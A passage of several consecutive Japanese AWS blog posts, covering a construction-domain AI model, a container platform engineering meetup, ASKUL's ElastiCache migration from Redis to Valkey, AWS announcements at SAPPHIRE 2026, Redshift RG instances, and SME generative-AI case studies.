を生成できる点について、ポジティブな反応を得ました。同時に、今後の改善や展開に繋がる多くの示唆もいただき、開発したモデルの実用性と意義を改めて確認できました。 IDS-Bench 評価結果。Ishigaki-IDS（8B / 14B / 32B）は XML 構造準拠・IDS 構造準拠・IDS 内容整合性準拠のいずれでも高いスコアを達成している一方、汎用フロンティアモデルでは低いスコアにとどまっている。 GenAIIC からの技術アドバイザリー ONESTRUCTION が建設・BIM ドメインの知見をもとに開発を主導し、GenAIIC から基盤モデル開発に関する技術アドバイザリーを Bi-weekly で受けながら進めました。開発の節目ごとに学習結果や評価データを持ち寄り、以下の 5 つの観点から GenAIIC の専門的な助言を得ています。 学習データ設計：IDS ドメインにおける合成データ活用と、CPT／SFT／RLVR 各段階のデータ配合・多様性設計 評価ベンチマーク：IFC／IDS 知識、構造化生成、汎用対話を多面的に評価する指標設計 学習段階と学習テクニック：CPT／SFT／RLVR の学習設計と、長文対応・報酬設計・構造化生成の最適化 学習インフラ：大規模分散学習における並列化設計と、スループット・安定性の最適化 実験結果の診断と次段の方向提示：学習・評価結果に基づく課題要因の特定と、次イテレーション方針の整理 これらの観点で「どの方向に振れば IDS 生成の精度と実用性が一段上がるか」を継続的に議論できたことが、データの乏しいニッチ領域でドメイン特化の基盤モデルを短期間で成立させる推進力となりました。 まとめと今後 専門家との協働・合成データ・検証ツール連動型の RLVR の組み合わせが、データが乏しい専門領域のドメイン特化モデル開発に有効であることを確認しました。本開発は、GenAIIC から技術アドバイスを継続的にいただきながら進められたことで、短期間でも高い品質の基盤モデルを完成させることができました。ONESTRUCTION では今後も、AWS との連携を活かしながら、AI を活用した建設 DX の推進に取り組んでまいります。 About the authors 日高洸陽 ONESTRUCTION AI戦略ユニット Manager。自社でのAI開発にとどまらず、自社製品へのAI活用や、クライアントとのAI領域の共同研究も行っています。最近生活の意思決定をAI Agentに預けるようになってきました。好きなSFは、エヴァンゲリオンとSteins Gateです。 金澤 亮 ONESTRUCTION AI戦略ユニット AIエンジニア。建設xAIの基盤モデル開発に取り組んでおり、GENIAC Cycle3ではIDS特化モデルIshigaki-IDSを開発。東京理科大学修士2年。好きなSFは、Steins Gateと三体です。 王　晨光 アマゾンウェブサービスジャパン合同会社 Applied Scientist。APJCのエンタープライズ企業に対し、LLM・VLM・MLMのトレーニングおよびエージェント導入の技術支援を担当しております。 姜　大原 アマゾンウェブサービスジャパン合同会社 Senior Deep Learning Architect。９年以上のAI・機械学習の業務経験を持ち、ビジネス環境でデータサイエンスの概念を適用することに熟練しており、現実世界の問題をモデル化し、問題を解決するためにデータを解釈し分析することに経験があります。 Angie Wang アマゾンウェブサービスジャパン合同会社 Sr. Generative AI Strategist。AWSのお客様を対象に、生成AIの活用戦略策定から本番導入までを支援しています。コンピュータサイエンスとベンチャーキャピタル投資のバックグラウンドを活かし、ビジネス戦略と技術実装の橋渡しを行っています。

2026年4月17日、目黒セントラルスクエア17F AWS Startup Loft Tokyoにて「AWS Container Platform Engineering Meetup」を開催しました。このイベントは、Amazon ECSやAmazon EKSを活用しながらプラットフォームエンジニアリングに取り組む企業が一堂に会し、実践的な知見を共有し合うイベントです。今回は約60名の方にご参加いただき、会場ではPlatform Engineering に関する様々な知見が飛び交いました。 イベント構成 本イベントは3部構成で実施しました。 メインセッション : AWSによるセッションとカスタマー企業によるパネルディスカッション RoundTable Session (事前招待制) : 事前招待制のラウンドテーブルディスカッション ネットワーキング (事前招待制) : 参加者同士の交流 セッションで広い視点を得た後、ラウンドテーブルで具体的な議論を深め、懇親会でさらに交流するという流れが好評でした。 AWSセッション — プラットフォームエンジニアリングの実践 Speaker: Hayashi Masatoshi（アマゾン ウェブ サービス ジャパン合同会社 Container Specialist SA） オープニングセッションではアマゾン ウェブ サービス ジャパン合同会社の林より「AWSが考えるプラットフォームエンジニアリングの実践」を実施しました。クラウドにおけるプラットフォームエンジニアリングにおける様子と、AWSでの実装方法を解説しました。加えて、ECSおよびEKSに関連する最新アップデートを紹介しました。 パネルディスカッション Part 1: Amazon ECS 登壇企業: クックパッド株式会社様、レバレジーズ株式会社様、株式会社タイミー様 Facilitator: Hayashi Masayoshi（アマゾン ウェブ サービス ジャパン 合同会社 Specialist SA） ECSを活用する3社に、コンテナサービスの選択理由、開発者向けインターフェースの設計、チーム組織・文化の3つのテーマで議論いただきました。 コンテナサービスの選択理由 では、クックパッド様からECSからEKSに移行後、再度ECSに戻した経験が語られました。グローバルサービス統合の過程でEKSに移行したものの、運用負荷とチーム規模の変化を踏まえ、ECSのシンプルさを優先して再移行を決断したとのことです。 開発者向けインターフェースの設計 では、レバレジーズ様がTerraformリモートモジュールとコーディングエージェントスキルを組み合わせ、AWSの深い知識がなくても本番インフラを構築できる仕組みを整えた事例を紹介されました。 チーム組織・文化 では、3社ともEmbedded SRE（プロダクトチームにSREメンバーが常駐するモデル）を実践しており、SREチームが撤退した後にナレッジが失われる課題を共通して認識していました。ガードレールによる安全確保や、テンプレートの配布など、各社それぞれのアプローチで対策を講じています。 パネルディスカッション Part 2: Amazon EKS 登壇企業: 株式会社マネーフォワード様、ウォンテッドリー株式会社様、株式会社サイバーエージェント様 Facilitator: Goto Kenta（アマゾン ウェブ サービス ジャパン 合同会社 Solutions Architect） EKSを活用する3社に、EKSの選択理由と移行事例、プラットフォームの抽象化レベル設計、チーム組織とフィードバックサイクルについて議論いただきました。 EKSの選択理由と移行事例 では、ウォンテッドリー様が2016年からEKS登場以前よりKubernetesを本番運用してきた歴史を紹介しました。Herokuの開発者体験をAWS上で再現するために内製CLIツールを構築し、20回以上のクラスターアップグレードで蓄積された知見が大きな資産になっていると語りました。 プラットフォームの抽象化レベル設計 では、サイバーエージェント様がKubeVelaによる抽象化の取り組みを紹介しました。開発者がKubernetesを意識せずにアプリケーションをデプロイできる環境を実現した一方、プラットフォームが提供するテンプレートへの社内コントリビューションをどう促進するかが次の課題として挙げられました。 チーム組織とフィードバックサイクル では、マネーフォワード様がプラットフォームチームへのリクエスト集中という課題を共有。定型作業の自動化やAI活用の検討、SRE出身者が開発側の業務も担当する柔軟な体制づくりなど、実践的なアプローチが議論されました。 事前招待制 RoundTable Session メインセッション終了後、事前招待した企業によるクローズドなラウンドテーブルを実施しました。EKS/Platform EngineeringグループとECS/Containerグループの2つに分かれ、より踏み込んだ議論が行われました。 EKSグループ では、以下のトピックが議論されました： プラットフォーム提供における失敗と改善のアプローチ プラットフォームの抽象化レベルの設計 プラットフォーム運用におけるAIの活用戦略 マルチテナント環境でのセキュリティ分離 ECSグループ では、以下のトピックが議論されました： ECSにおけるジョブオーケストレーションの課題と各社の工夫 キュー設計と運用のベストプラクティス 組織拡大に伴うアーキテクチャの分離戦略 グローバル展開時のアーキテクチャ設計 フェーズやアーキテクチャの特性が近い企業同士で、具体的かつ実践的な議論が実現しました。 参加者の声 「業界のフロントランナーたちのECS, EKSの選択理由と開発者へ提供するインターフェースについて聞くことができ、非常に参考になりました。」 「現在進行系でPlatform化の議論が行われている状態でちゃんとした形としてプロダクトチームに提供できているわけではないので、ほかの事例ややり方などを聞くことができ助かりました」 「現在ECSを運用していて、規模が大きくなってきたのでそろそろプラットフォームがないと難しいのではないか？という課題感が出てきたので、今回のイベントに参加した。実際にプラットフォームを運用している人たちの、ベストプラクティス以外の生の話を聞くことができて、とても参考になった。次回もあれば参加したい」 「小さい範囲に閉じたミートアップだったことで、より濃い内容の話を聞けたのが良かったです。別のテーマでも実施いただけるとよいかなと思いました」 「セッション → ラウンドテーブル → 懇親会という会の構成が良くて、広い考え方から徐々に具体の話の議論ができて良かったです」 「ラウンドテーブルでは組織規模の近い企業と話すことで、課題感を共有しディスカッションすることができた。」 おわりに 第1回の開催を通じて、コンテナとプラットフォームエンジニアリングに取り組む企業同士が実践知を共有し合う場の価値を実感しました。今後も同様のイベントを企画していく予定です。事前招待制のクローズドセッションにご興味のある方は、ぜひAWSのアカウントチームにお問い合わせください。 著者情報 岸田 晃季（Kishida Kouki） スタートアップソリューションアーキテクト。スタートアップにて機械学習エンジニア、プロダクトマネージャーを経験後、より多くのスタートアップと関わりたいと思い現職にジョイン。スタートアップのために何ができるか日々模索中。

本ブログは、アスクル株式会社と Amazon Web Services Japan が共同で執筆しました。 はじめに アスクル株式会社 （以下、アスクル）は、「お客様のために進化する」という DNA のもと、事業所向け通信販売サービス「ASKUL」や個人向け通信販売サービス「LOHACO」を運営しています。取り扱い商品はオフィス用品、生活用品、家具、製造業・建設業向けの専門用品、衛生・介護・薬局用品等の一般医療用商品・医薬品・医療機器等の医療材料まで多岐にわたります。 1,500 万アイテム以上の商品をワンストップで購入できるサービスを提供しています。 アスクルは 2019 年頃から主要システムのクラウドネイティブ環境への移行を段階的に実施し、SAP ERP をはじめとする多数の基幹システムのマイグレーションに成功しました。こうしたモダナイゼーションの取り組みの延長として、運用やコストの最適化にも継続的に取り組んでおり、Amazon ElastiCache を Redis から Valkey にマイグレーションすることで約 20% のコスト削減を実現しました。 本記事では、アスクルが ElastiCache を Redis から Valkey にマイグレーションした際の移行戦略、当日の作業手順、およびコスト最適化の成果について紹介します。 システム構成 アスクルは 2019 年から基盤システムのモダナイゼーションの一環としてマイクロサービスアーキテクチャを積極的に採用しています。社内で「Trylion（トライオン）」と呼ばれるプロジェクトの一部として、膨大な商品情報を管理する商品プラットフォームもマイクロサービス化されており、特に商品 API や外部サービス（広告出稿など）への商品情報連携バッチなど、高速な処理が求められる機能に Amazon ElastiCache を採用しています。 アスクルの商品プラットフォームでは、Amazon ElastiCache を以下の 2 つの用途で活用しています。 商品 API（Amazon ECS）: お客様が askul.co.jp にアクセスした際、商品 API が Amazon Aurora（PostgreSQL）から取得した結果（商品名、価格など）を Amazon ElastiCache にキャッシュします。これにより、同一商品への繰り返しアクセスに対してデータベースへの問い合わせを削減し、高速なレスポンスを実現しています。 商品更新バッチ（Amazon EC2）: 商品情報の更新処理において、冪等性の担保や並列処理時の処理重複を避けるために処理済み ID を Amazon ElastiCache にキャッシュしています。これにより、大量の商品データを効率的に更新できる仕組みを構築しています。 Valkey へのマイグレーションを検討した背景 モダナイゼーションの中ではコスト最適化も重要な課題です。ElastiCache のコストをさらに最適化するため、アスクルは Valkey への移行を検討しました。 Valkey は 40 社以上の支持を受けて Linux Foundation が運営するオープンソースプロジェクトです。Amazon ElastiCache では 2024 年 10 月 8 日に Valkey のサポートを開始 しました。ElastiCache for Valkey はノードベースクラスターのコストが従来の ElastiCache for Redis OSS と比較して約 20% 低く、アスクルのコスト最適化の目標に合致していました。 加えて、Redis OSS の API およびデータフォーマットとの互換性があり、ダウンタイムゼロで移行できるオプションが提供されていることも魅力的で、前向きに検討してみる要因の一つになりました。これらの要素を総合的に評価し、アスクルは Valkey の採用を決定しました。特に、Redis OSS との API 互換性によりアプリケーションコードの改修が不要と見込まれた点は、移行の意思決定を後押しする大きな要因でした。 移行前の懸念事項と事前準備 Amazon ElastiCache では、既存の Redis クラスターをダウンタイムなしで Valkey へ移行するオプションが提供されており、その手軽さは魅力的でした。しかし、移行後に予期しない問題が発生した場合の切り戻しを考慮すると、インプレース移行だけでは不十分と判断しました。 そこでアスクルは、既存の Redis クラスターは維持したまま新規に Valkey クラスターを構築することで、問題が発生した場合でも Redis に即時切り戻せる体制を確保しました。ただし、新規 Valkey クラスターへの切り替えは API の参照先変更（= API リリース）を伴います。リリース直後はキャッシュが空の状態となるため、大量のキャッシュミスが発生するリスクがありました。これを軽減するため、商品 API の Amazon ECS サービスに対する AWS CodeDeploy のデプロイ設定を変更しました。 具体的には、 ECSAllAtOnce （トラフィックを一度にすべて切り替える設定）から ECSLinear10PercentEvery3Minutes （3 分ごとにトラフィックの 10% ずつを新クラスターへ切り替える設定）に変更し、トラフィックを段階的に新クラスターへ誘導する方式を採用しました。これにより、ウォームアップ時間を確保しつつキャッシュミスの影響を最小限に抑えることができました。 また、本番移行前に開発環境で一連の流れを検証し懸念事項の解消を確認しました。 切り戻しの準備は、移行当日までに本番用の新規 Valkey クラスターを事前構築しておく程度だったため、手間なく当日の作業を最小化することができました。 移行当日の作業手順 移行当日は、インフラチームと開発チームが連携し、以下の手順で作業を進めました。 ステップ 1（インフラチーム）: CodeDeploy デプロイ設定を ECSAllAtOnce から ECSLinear10PercentEvery3Minutes に変更しました。 ステップ 2（開発チーム）: API をリリースし、参照先を Redis から Valkey へ変更しました。Valkey は Redis OSS と API 互換性があるため、アプリケーションコードの変更は接続先の設定変更のみで済みました。 ステップ 2-1（開発チーム）: Blue/Green デプロイの Green タスクセット（移行先環境）を使用して動作確認を実施しました。本番（Redis）と移行先環境（Valkey）のレスポンス結果を突合するスクリプトを実行し、レスポンス結果に差分がないことを確認しました。 ステップ 3（インフラチーム）: 動作確認完了後、CodeDeploy 設定を元の ECSAllAtOnce に戻しました。 移行作業は約 40 分で完了し、移行前後を通じてシステム側での問題は発生しませんでした。 移行結果と今後の展開 移行検討から本番移行の完了まで約 3〜4 か月のスケジュールで、無事に移行を完了しました。移行後の商品 API のレスポンスタイムは Redis 利用時と同等で、性能劣化は確認されませんでした。 Redis と Valkey を並行稼働させていたため一時的にコストが増加しましたが、Redis クラスター削除後は想定どおり約 20% のコスト削減を達成しました。さらに、 リザーブドノード の購入を組み合わせることで、最終的に約 30% のコスト削減を実現しました。この成果を受けて、他プラットフォームでも同様の手順で Valkey への移行を進めています。また、今後新規に Amazon ElastiCache クラスターを構築する場合は Valkey を標準採用とする方針に変更しました。 まとめ アスクルは十分な事前準備により、約 40 分という短時間で安全に ElastiCache for Redis OSS から Valkey へのマイグレーションを完了し、最終的には約 30% のコスト削減を実現しました。ElastiCache for Valkey への移行を検討されている方は、 開始方法 もあわせてご参照ください。 著者について 荒木 泰詞 2023年にアスクル株式会社へ入社。Trylionのインフラをメインに、他のプロダクト も含めた設計・構築・運用保守を横断的に担当。JAWS-UGに参加し、AWSの学びを楽し みながらキャッチアップや情報発信活動を行っている 中野 暁人 2018年にアスクル株式会社へ入社。商品プラットフォームの立ち上げ初期より参画 し、設計・実装・運用まで一貫して担当。OSSの公開およびコントリビュートに積極的 に取り組んでいる。 藤田 将大 Database Specialist Solutions Architect として、担当テリトリーのお客様に対し、データベース全般の活用を技術支援してい ます。 朴 総明 Technical Account Manager。AWS データベース技術コミュニティメンバーとしてデータベースの課題解決＆技術支援を しています。

SAP を運用している経営層にとって、問いはすでに変わっています。クラウドに移行するかどうかではなく、どれだけ早くそこに到達できるか、そして到達した後に組織として何を構築できるかが問われています。課題は、SAP のトランスフォーメーションが企業が取り組む最も複雑なプログラムの一つであり、財務、サプライチェーン、製造、お客様対応業務に同時に影響を及ぼすことです。そして AI はすべての経営会議の最重要議題ですが、ほとんどの組織は SAP データがクラウドに移行されるまで、その潜在能力を最大限に引き出すことができません。クラウドに移行して初めて、実際に何かを構築できるようになるのです。 これこそが AWS が注力している機会です。現在、数千の組織が AWS 上で SAP を運用しており、その半数以上が SAP Cloud ERP を導入しています。AWS は ISG により SAP HANA Infrastructure Services のリーダーとして5年連続で認定 されており、現在 RISE with SAP ワークロードに対して AWS 上で 99.95% の SLA を提供しています。 SAPPHIRE 2026 において、AWS はクラウドへの移行をより迅速にし、AI を活用して SAP データからより簡単に価値を引き出し、お客様がすでにその組み合わせを実際のビジネス成果に変えている明確な事例を示す新機能を発表しました。 より迅速でシンプルなマイグレーション AWS と SAP は、クラウドマイグレーションをより迅速にするための協業を拡大しています。新しいオーケストレーション機能を RISE with SAP System Transition Workbench に直接統合することで、重要なマイグレーションステップを自動化します。これは、SAP のマイグレーションツールがデータ転送のためにクラウドプロバイダーのネイティブサービスを直接オーケストレーションする最初の事例の一つです。セキュアで標準化された転送アクセラレーションを活用することで、この共同作業は特定のファイルベースのマイグレーションシナリオに対して高性能な自動化オプションを提供し、RISE with SAP System Transition Workbench がサポートする既存の SAP マイグレーションアプローチのポートフォリオを補完します。 これらのプラットフォームレベルの進歩は、すでにパートナーによって増幅されています。例えば、 Accenture は Amazon Bedrock 上にエージェント駆動のデリバリープラットフォームを構築し、目的別に構築された AI エージェントをデリバリーワークフローに直接組み込んでいます。これにより、問題のトリアージ、インテグレーションマッピング、データマイグレーションの検証を自動化し、初期の結果ではより迅速な問題解決が示されています。 新しい SAP Seamless Private Connectivity オファリングは、Amazon VPC Lattice 上に構築された AWS Resource Gateway を使用し、ネットワーク層を完全に抽象化します。お客様は既存のインフラストラクチャを SAP RISE ランドスケープに数週間ではなく数日で接続できるようになりました。これにより、IP アドレスの競合が解消され、ネットワークの再設計や複雑な回避策が不要になり、お客様は自社のネットワーク設計に対する完全な制御を維持できます。このエンタープライズグレードのセキュアなプライベート接続モデルにより、SAP はお客様の環境をより迅速にプロビジョニングでき、オンボーディングと価値実現までの時間を大幅に短縮します。 開発者レベルでは、コードのモダナイゼーションが一般的な SAP マイグレーションにおける最大のタスクの一つであり、AI が最も即座にインパクトを与えている領域です。AWS と SAP は、Kiro を含む AWS AI コーディングアシスタントがオーケストレーション層として機能し、SAP ABAP Model Context Protocol（MCP）ツールとスキルを活用してドメイン固有のタスクを実行できるようにします。これにより、開発者は使い慣れたワークフロー内で AI を使用して、アプリケーションの構築とモダナイゼーションをより迅速に行えるようになります。 SAP と AWS はまた、追加の SAP Business Data Cloud、GROW、および SAP Business Technology Platform の機能をより多くの AWS リージョンで利用可能にすることも計画しています。これにより、規制産業やレイテンシーに敏感なオペレーションを持つお客様は、ビジネスが運営されている場所により近い環境で SAP を実行できるようになります。 AI で SAP データを活用する マイグレーションは出発点です。真の価値は、お客様が次に何を構築するかから生まれます。 AWS は、Amazon Bedrock、Amazon Quick、Amazon SageMaker、Kiro を含む 240 以上のクラウドおよび AI サービスを提供しており、SAP のお客様がエンタープライズデータからインサイトを引き出すことを可能にします。SAPPHIRE では、 SAP Business Data Cloud Connect for Amazon Athena を発表しました。これは、SAP Business Data Cloud と Amazon Athena 間の双方向ゼロコピー統合を提供する新しいオファリングです。ビジネス全体のチームが、レプリケーションの遅延や IT のボトルネックなしに、ライブの SAP データ上で分析レポート、ダッシュボード、AI エージェントを構築できるようになります。 イノベーションはお客様エンゲージメントにも及びます。SAP と AWS は、AWS の Amazon Connect ファミリーのエージェント型 AI ソリューションの一部である Amazon Connect Customer を、SAP Service Cloud および SAP Enterprise Service Management（ESM）と統合することも計画しています。これにより、組織はあらゆるチャネルで大規模にエージェント型のお客様体験を提供できるようになります。 また、 Amazon Bedrock AgentCore での MCP サポート により、お客様は SAP Integration Suite を通じて AI エージェントを SAP ERP システムに接続し、SAP ビジネスデータへのセキュアでプロトコル駆動のアクセスを実現できます。これにより、チームはエンタープライズグレードのセキュリティとオブザーバビリティを維持しながら、インサイトとアクションへのより迅速なアクセスが可能になります。 お客様はすでに成果を上げています 業界を問わず、組織は SAP データを AI と組み合わせて活用し、測定可能なビジネス成果を推進しています。例えば、 Hyundai は Amazon Quick を使用して、グローバルビジネス全体のオペレーション管理方法を再構築しています。 Mercedes-Benz は、SAP データから得られる AI 駆動のインサイトを通じて、製造オペレーションとお客様体験を変革しています。 これらの成果は、SAPPHIRE 2025 で発表された SAP and AWS AI Co-Innovation Program を通じて加速されています。このプログラムにより、企業は Accenture、Capgemini、Cognizant、Deloitte などのパートナーを通じて、コンセプトからエンタープライズ全体への展開まで、SAP と AWS の強みを活用できます。お客様が高価値のユースケースを特定し、コンセプトから本番環境への移行をより迅速に行えるよう支援します。 今後の展望 SAPPHIRE 2026 での発表は、シンプルなアイデアを反映しています。クラウドは目的地ではなく、基盤であるということです。ミッションクリティカルな SAP ワークロードが AWS に移行されると、お客様は運営方法を変革するために必要な AI サービス、パートナーネットワーク、インフラストラクチャにアクセスできるようになります。 詳細を確認する、または SAPPHIRE での AWS セッションを確認するには、 こちらをクリック してください。 本ブログはAmazon Bedrockによる翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

2013 年以来、 Amazon Redshift はオンプレミスの数分の 1 のコストでクラウドデータウェアハウスの力を最大限に発揮してきました。高密度コンピューティングから Amazon RA3 インスタンス 、Provisioned から Amazon Redshift Serverless へとアーキテクチャ世代が進むたびに、クエリが前世代よりも低コストかつ高速になり、効率性が向上しました。 10 年以上にわたるデータ量の増加と分析要件の進化により、組織では頻繁にアクセスされる構造化データのためのデータウェアハウステーブルと、さまざまなデータセットのコスト効率に優れたストレージのためのデータレイクの両方を活用することが増えています。人間の使用量をはるかに超える規模でデータウェアハウスをクエリする AI エージェントがこれに加わり、運用コストの高騰を招くことになっています。 その中核をなす強みをさらに倍増させた Amazon Redshift は、ワークロードを実行するのが人間か AI エージェントかにかかわらず、あらゆるワークロードの要求に対応します。例えば、2026 年 3 月、Amazon Redshift は 新規クエリを最大 7 倍高速化 することによって、ビジネスインテリジェンス (BI) ダッシュボードと ETL ワークロードのパフォーマンスを向上させました。これは、ほぼリアルタイムの分析アプリケーション、BI ダッシュボード、ETL パイプライン、自律的な目標指向型 AI エージェントで使用されるクエリなど、低レイテンシー SQL クエリの応答時間を大幅に改善しました。 2026 年 5 月 12 日、AWS は AWS Graviton を搭載した新しいインスタンスファミリー、 Amazon Redshift RG インスタンス を発表しました。より優れたパフォーマンスを実現する RG インスタンスでは、データウェアハウスワークロードの実行が RA3 インスタンスよりも最大 2.2 倍速くなり、vCPU あたりの料金も 30% 低くなります。統合されたデータレイククエリエンジンは、単一のエンジンからデータウェアハウスとデータレイクの両方を対象とした SQL 分析を実行できるようにし、そのパフォーマンスは Apache Iceberg 向け RA3 の 2.4 倍、 Apache Parquet 向け RA3 の1.5 倍高速になっています。 こうした速度、コスト効率、統合されたデータレイククエリエンジンを組み合わせた Redshift RG インスタンスは、今日の分析ワークロードとエージェンティック AI ワークロードの要件である大量のクエリと低レイテンシーへの対応に最適です。 新しい RG インスタンスと現在の RA3 インスタンスは、以下のように比較できます。 現在の RA3 インスタンス 推奨される RG インスタンス vCPU メモリ (GB) 主要ユースケース ra3.xlplus rg.xlarge 4 32 小規模クラスター部門別分析 ra3.4xlarge rg.4xlarge 12 → 16 (1. 33:1) 96 GB → 128 GB (1.33:1) 標準的な本番ワークロード、中規模のデータ量 このアプローチは、データウェアハウスワークロードとデータレイクワークロードの組み合わせを実行しているお客様の総分析コストを削減しながら、ウェアハウステーブルと Amazon Simple Storage Service (Amazon S3) データレイクの両方をクエリする単一のシステムによって運用を簡素化します。節約額の見積もりには、 AWS 料金見積りツール で特定のワークロードパターンを使用することをお勧めします。 Amazon Redshift RG インスタンスの使用を開始する 新しいクラスターの起動と既存クラスターの移行には、 AWS マネジメントコンソール 、 AWS コマンドラインインターフェイス (AWS CLI) 、または AWS API を使用できます。統合されたデータレイククエリエンジンはデフォルトで有効になっています。 Amazon Redshift コンソールでは、クラスターの作成時に新しい RG インスタンスを選択できます。 クラスター構成に基づいた最適なパスを使用して前世代のインスタンスを RG インスタンスに移行し、コストの見積もり、互換性の検証、実行の自動化を行うことができます。 伸縮自在なサイズ変更 – 10～15 分のダウンタイムを伴う、互換構成のためのインプレース移行 スナップショットとリストア – RA3 スナップショットから RG クラスターを作成。移行中に構成を変更したいお客様に最適です 外部テーブル、スキーマ、クエリ構文 (既存の Spectrum クエリを含む) は変更されません。外部テーブルを再度作成したり、アプリケーションコードを変更したりする必要もありません。 詳細については、「 Redshift Management Guide 」をご覧ください。 Amazon Redshift は、クラスターノード (データウェアハウスワークロードを処理するものと同じコンピューティング) でデータレイククエリ実行するようになったため、 Amazon Redshift Spectrum を使用する必要がなくなりました。データレイククエリは VPC 境界内にとどまり、既存の IAM ロールを使用して、テラバイト単位のスキャン料金を発生させません。このため、これまで Redshift の合計コストに加算されていた 5 USD/TB の Spectrum スキャン料金がかからなくなります。 今すぐご利用いただけます Amazon Redshift RG インスタンスは、米国東部 (バージニア北部、オハイオ)、米国西部 (北カリフォルニア、オレゴン)、アジアパシフィック (香港、ハイデラバード、ジャカルタ、マレーシア、メルボルン、ムンバイ、大阪、ソウル、シンガポール、シドニー、台湾、東京)、カナダ (中部)、欧州 (フランクフルト、アイルランド、ミラノ、ロンドン、パリ、スペイン、ストックホルム)、中東 (UAE)、南米 (サンパウロ) の各 AWS リージョンでご利用いただけます。リージョンごとの提供状況や今後のロードマップについては、「 AWS Capabilities by Region 」をご覧ください。 Redshift Provisioned では、コミットメント不要で料金が時間単位で請求されるオンデマンドインスタンス、またはコスト節約のためのリザーブドインスタンスを選択できます。 詳細については、 Amazon Redshift の料金ページ をご覧ください。 Redshift コンソール で RG インスタンスをぜひお試しください。フィードバックは AWS re:Post for Amazon Redshift 、または通常の AWS サポート担当者を通じてお寄せください。 – Channy 原文は こちら です。

少子高齢化、人口減少、労働力不足、地方における過疎化と地域経済の空洞化、医療・介護リソースの構造的逼迫、そして、激甚化する自然災害への防災・減災対応など、日本が直面する社会課題は、年々複雑化し、深刻さを増しています。こうした社会課題の本質に目を向けるとその多くは、行政機関や大企業の力だけで解決の道筋を描くことには限界があります。日本の全企業数のおよそ 99% を占め、地域社会の経済基盤を支える中堅・中小企業が、それぞれの地域に根ざした形で課題に対し持続可能な解決を実現する重要な役割を担っていると考えます。 そして今、生成AIをはじめとするAI技術は、現代社会が抱える複雑かつ多層化する課題を解きほぐすための強力な推進力として、今後さらに重要な役割を果たしていくことが期待されています。2023年以降、AIは急速に普及し、技術検証から業務活用、ビジネス価値の創出へとフェーズを進めてきました。2026年は、AIエージェントの活用へという新たな段階へと移行しています。この潮流は、専門的なAIエンジニアを擁しない中堅・中小企業においても進んでおり、AIエージェントを活用することで、現場の課題に即したAIソリューションを迅速に構築・展開する取り組みが加速しています。 本ブログでは、社会課題をAIで解決する取り組みに焦点を当て、中堅・中小企業のお客様が、AWSの生成AIサービス  Amazon Bedrock や　AIエージェントサービス　 Amazon Bedrock AgentCore などを活用し、日本の社会課題に真正面から向き合い、解決策を生み出している先進事例を４つご紹介いたします。 株式会社アクトノード 「Amazon Bedrock Agent Coreで実現する『見守りエージェントAI』　一次産業の人手不足と熟練知識の属人化を解決し、見守り頻度を最大48倍に拡大、生産者の工数を50%削減」　 AWSブログ（5/12公開） 深刻な人手不足と熟練知識の属人化などの課題を抱える一次産業の生産者や流通事業者向けに、IoT や AI などの技術を使ったサービスを提供するアクトノードは、農業・畜産・水産養殖向け記録アプリ「ACT.app」をAWS上で開発、2020年より提供しています。農業・畜産・水産養殖の現場では、環境や生育状態の継続的な監視と異常時の早期対応が求められますが、これらの作業は熟練者による現地見回りに依存していることが多く、1 日 数回の見回りが限界で、夜間に異変が起きてしまうと翌朝まで気づくことが難しく、また、既存の定点カメラは単純な記録に留まるため、異常検知は人間が映像を目視して判断する必要があるなど、様々な問題を抱えていました。 こうした状況に対してアクトノードは、生産者が自然言語で養鶏の様子を相談すると、AIが見守り要件を理解し、カメラ画像を自律分析するアプリ　「見守りエージェントAI」を、Amazon Bedrock、Amazon Bedrock Agent Core、Amazon Nova を活用して開発。「見守りエージェントAI」の導入により、 見守り頻度を最大48倍に拡大 、 生産者の工数を50%削減 したことに加え、24時間365日の監視を実現。さらに参考画像を数枚と説明文を組み合わせる Few-shot examples手法を採用することで、少数の参考画像で多様な見守りニーズに対応することが可能となりました。養鶏場での実証実験では実用レベルの精度を確認し、暗黙知の言語化・共有による技術継承の加速も期待されています。本取り組みは経済産業省の NEDO懸賞金活用型プログラム GENIAC-PRIZEにエントリーされ、農林水産省のスマート農業実証プロジェクトにも認定されています。 ヤマトプロテック株式会社 「ヤマトプロテック　AIを利用した書類電子保管システムをわずか2日で構築」　 AWSブログ（5/11公開） 創業から107年、消火・防災領域におけるメーカーとして、開発・製造・設計・施工・メンテナンスを網羅し「火にまつわる安心」を作り出してきたヤマトプロテック株式会社。安心を届け続けるための重要な課題の一つとして、DXの取り組みを進めるなか、受発注に関連する部署において、書類の電子保管担当者が突然欠員。他の担当者が急きょカバーせざるを得ない状況となり、部署全体の負荷増大と業務時間の延長という事態に陥りました。こうした状況を改善するため、経営企画本部 情報システム室は、 Amazon Bedrock と Kiro を活用して、わずか2日という短期間でマルチモーダルAIによる書類電子保管システムを構築 しました。加えて、Amazon Nova LiteのAI-OCRにより 日本語書類の認識率が89%に向上 し、書類の読み取りから登録までの完全自動化を実現。 手作業による入力作業の85%以上を削減 し、急な欠員による業務逼迫という課題を解消しました。情報システム部門も限られたリソースでありながら、適切な生成AI開発ツールの選択により、短期間での課題解決が可能であることを示した事例となります。 大豊建設株式会社 「大豊建設が AWS で実現した大豊 AI：業務の様々な場面で活躍する生成 AI 活用事例」～「規程、どこだっけ？」を250時間分削減、307名が月3万回以上使う社内AIの全貌　 AWSブログ（4/8公開） 土木・建築工事を中心とする総合建設会社の大豊建設は、社内情報へのアクセスの煩雑さや文書作成の負担、中堅社員不足による知識継承の課題に対し、Amazon Bedrockを活用した社内生成AIツール「大豊AI」を構築。社内規程の検索、議事録の自動生成、資料の要約、日常的な疑問への回答など幅広い業務で活用され、 全社展開から約8ヶ月で307名の社員が利用し、累計32,709回以上の利用を記録。規程検索だけで約250時間の業務時間削減を達成 しました。今後は、Amazon Bedrock AgentCoreを活用した施工計画書の作成支援や社内資料作成の自動化にも取り組み、過去データの検索から計画書の素案作成までをAIエージェントが自律的に処理することで、現場担当者の工程の効率化を目指します。 メック株式会社 「Amazon Bedrock AgentCore で研究業務を効率化 – AI エージェントによる情報検索と更新の自動化」　 AWSブログ（2/19公開） ～新人でもベテラン並みに探せる 、化学メーカーが3週間で構築した「研究知識を腐らせない」AIエージェント～ 電子基板・部品製造用薬品の開発、製造販売および、機械装置、各種資材の販売を行うメック株式会社は、研究開発部門に蓄積された専門知識や技術情報を組織全体の資産として最大限に活用し、全メンバーが高いレベルで業務を遂行できる環境の構築を目指し取り組みを進めています。AWSハッカソンへの参加をきっかけに同社は、 わずか約3週間という短期間で、Amazon Bedrock 